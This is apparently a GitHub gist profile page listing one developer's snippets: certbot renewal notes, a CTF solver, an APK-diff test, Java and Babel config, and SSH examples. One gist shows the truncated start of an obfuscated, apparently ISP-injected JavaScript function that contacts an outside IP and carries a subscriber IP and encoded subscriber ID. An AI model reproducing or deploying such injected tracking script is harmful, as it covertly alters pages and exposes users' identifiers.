Skip to content

Instantly share code, notes, and snippets.

View asdofindia's full-sized avatar

Akshay S Dinesh asdofindia

View GitHub Profile
data:text/html, <html contenteditable>
@asdofindia
asdofindia / update.md
Created June 2, 2016 05:08
Updating letsencrypt to certbot, renewing certificate, and creating systemd job for automatic renewal

documentation of letsencrypt renewal of indicproject

following official method for debian jessie

  • add jessie-backports to sources.list https://backports.debian.org/Instructions/
  • apt-get update
  • apt-get install letsencrypt -t jessie-backports says letsencrypt : Depends: python-letsencrypt (= 0.5.0-1~bpo8+1) but it is not going to be installed
  • digress from official method, do apt-get install letsencrypt python-letsencrypt -t jessie-backports says python-letsencrypt : Depends: python-acme (>= 0.5.0) but it is not going to be installed

Keybase proof

I hereby claim:

  • I am asdofindia on github.
  • I am asdofindia (https://keybase.io/asdofindia) on keybase.
  • I have a public key ASA7qxqLxwiNCIgv46yFDxkOvdgYIAKLKTuY-K2jJ0w3TAo

To claim this, I am signing this object:

@asdofindia
asdofindia / fastandfurious.py
Last active February 1, 2017 18:20
Breakin CTF '17 - Fast and Furious
#!/bin/env python3
from bs4 import BeautifulSoup
import requests
r = requests.get('https://felicity.iiit.ac.in/contest/extra/fastandfurious/')
while r:
print(r.text)
soup = BeautifulSoup(r.text, 'html.parser')
solve = soup.findAll('p')[1]
# print(solve)
function ctSuperFunction() {var ns_ip = '117.254.84.212';var ns_port = '3000';var subscriberId = 'bXk4MjI4Mjk3MTIzX3NpZEBmdHRoLmJzbmwuaW4=';var subscriberIP = '117.213.189.8';var nadipdata = '{"url":"/openweb/modernizr.custom.js","referer":"http://yatra.diasporafoundation.org/openweb/","host":"yatra.diasporafoundation.org","categories":[0],"reputations":[1]}';var userAgent = "Mozilla/5.0%20(X11;%20Linux%20x86_64;%20rv:61.0)%20Gecko/20100101%20Firefox/61.0";var method2 = false;var _0x1ac8=["\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x73\x6C\x69\x63\x65","\x63\x6F\x6E\x63\x61\x74","\x70\x75\x73\x68","\x69\x6E\x64\x65\x78\x4F\x66","\x74\x6F\x53\x74\x72\x69\x6E\x67","\x68\x61\x73\x4F\x77\x6E\x50\x72\x6F\x70\x65\x72\x74\x79","\x31\x2E\x31\x31\x2E\x31","\x69\x6E\x69\x74","\x66\x6E","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x70\x72\x6F\x74\x6F\x74\x79\x70\x65","","\x63\x61\x6C\x6C","\x6C\x65\x6E\x67\x74\x68","\x63\x6F\x6E\x73\x74\x72\x75\x63\x74\x6F\x72","\x6D\x65\x72\x67\x65","\x70\x72\x65\x76\x4F\x62\x6A\x65\x
@asdofindia
asdofindia / break-diff.sh
Created March 29, 2020 15:35
A (failed) attempt to prove that apk-diff.py of Telegram is broken.
base64 /dev/urandom | head -c 10000 > testfile
truncate -s 8192 testfile
zip apk1.apk testfile
echo "malicious code" >> testfile
zip apk2.apk testfile
python apkdiff.py apk1.apk apk2.apk
@asdofindia
asdofindia / ConstructorInterceptExample.java
Created June 16, 2020 18:12 — forked from psamsotha/ConstructorInterceptExample.java
Example of constructor interception with Jersey/HK2
import org.aopalliance.intercept.ConstructorInterceptor;
import org.aopalliance.intercept.ConstructorInvocation;
import org.aopalliance.intercept.MethodInterceptor;
import org.glassfish.hk2.api.Filter;
import org.glassfish.hk2.api.InterceptionService;
import org.glassfish.hk2.utilities.BuilderHelper;
import org.glassfish.hk2.utilities.binding.AbstractBinder;
import org.glassfish.jersey.server.ResourceConfig;
import org.glassfish.jersey.test.JerseyTest;
import org.junit.Test;
{
"plugins": [
// Stage 0
"@babel/plugin-proposal-function-bind",
// Stage 1
"@babel/plugin-proposal-export-default-from",
"@babel/plugin-proposal-logical-assignment-operators",
["@babel/plugin-proposal-optional-chaining", { "loose": false }],
["@babel/plugin-proposal-pipeline-operator", { "proposal": "minimal" }],
@asdofindia
asdofindia / Usage
Last active December 22, 2020 10:38
Sample ~/.ssh/config
$ ssh staging
Welcome to Ubuntu ...
$ rsync project staging:project
$ scp file staging:file
@asdofindia
asdofindia / show.py
Created June 12, 2021 20:03
Compare base64 encoding binary and original string binary
import base64
import sys
# From https://en.wikipedia.org/wiki/Base64
# A = 0 (whereas ord('A') = 65)
# a = 26 (whereas ord('a') = 97)
# 0 = 52
def base64index(char):